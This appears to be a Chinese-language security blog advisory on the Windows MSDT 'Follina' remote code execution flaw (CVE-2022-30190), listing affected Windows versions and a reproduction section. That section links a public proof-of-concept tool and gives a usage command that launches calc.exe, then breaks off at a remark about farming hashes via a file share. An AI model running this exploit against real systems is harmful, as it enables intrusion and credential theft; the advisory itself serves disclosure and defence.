漏洞描述

Windows MSDT 组件存在远程执行代码的信息，漏洞编号：CVE-2022-30190，漏洞威胁等级：高危。

该漏洞是由于 MSDT 被用户应用使用 URL 协议调用，攻击者通过社会工程诱使受害者从网站下载并打开特制文件，最终获取用户权限。
 

组件介绍

MSDT 是微软支持诊断工具 (Microsoft Windows Support Diagnositc Tool) 的缩写，用以帮助诊断用户可能遇到的问题并记录相关信息。
 

影响范围

目前受影响的 Windows 版本：
Windows Server 2012 R2
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for 32-bit/x64-based Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for 32-bit/x64-based systems
Windows 7 for 32-bit/x64-based Systems Service Pack 1
Windows Server 2016
Windows 10 Version 1607 for 32-bit/x64-based Systems
Windows 10 for 32-bit/x64-based Systems
Windows 10 Version 21H2 for 32-bit/ARM64-based/x64-based Systems
Windows 11 for x64-based/ARM64-based Systems
Windows 10 Version 20H2 for x64-based/32-bit/ARM64-based Systems
Windows Server 2022 Azure Edition Core Hotpatch
Windows Server 2022
Windows 10 Version 21H1 for x64-based/ARM64-based/32-bit Systems
Windows Server 2019
Windows 10 Version 1809 for 32-bit/x64-based/ARM64-based Systems
 

漏洞复现

工具下载

https://github.com/chvancooten/follina.py
 

使用方法

# Execute a local binary

python .follina.py -m binary -b windowssystem32calc.exe

# Execute a binary from a file share (can be used to farm hashes 					


你可能喜欢的文章：

Microsoft Exchange Server 远程代码执行漏洞利用CVE-2021-42321
MICROSOFT MSHTML 远程代码执行漏洞（CVE-2021-40444）
微软Office Word远程代码执行漏洞CVE2021-40444
Apache Kylin 远程代码执行注入漏洞(CVE-2020-1956)


------本页内容已结束，喜欢请分享------



感谢您的来访，获取更多精彩文章请收藏本站。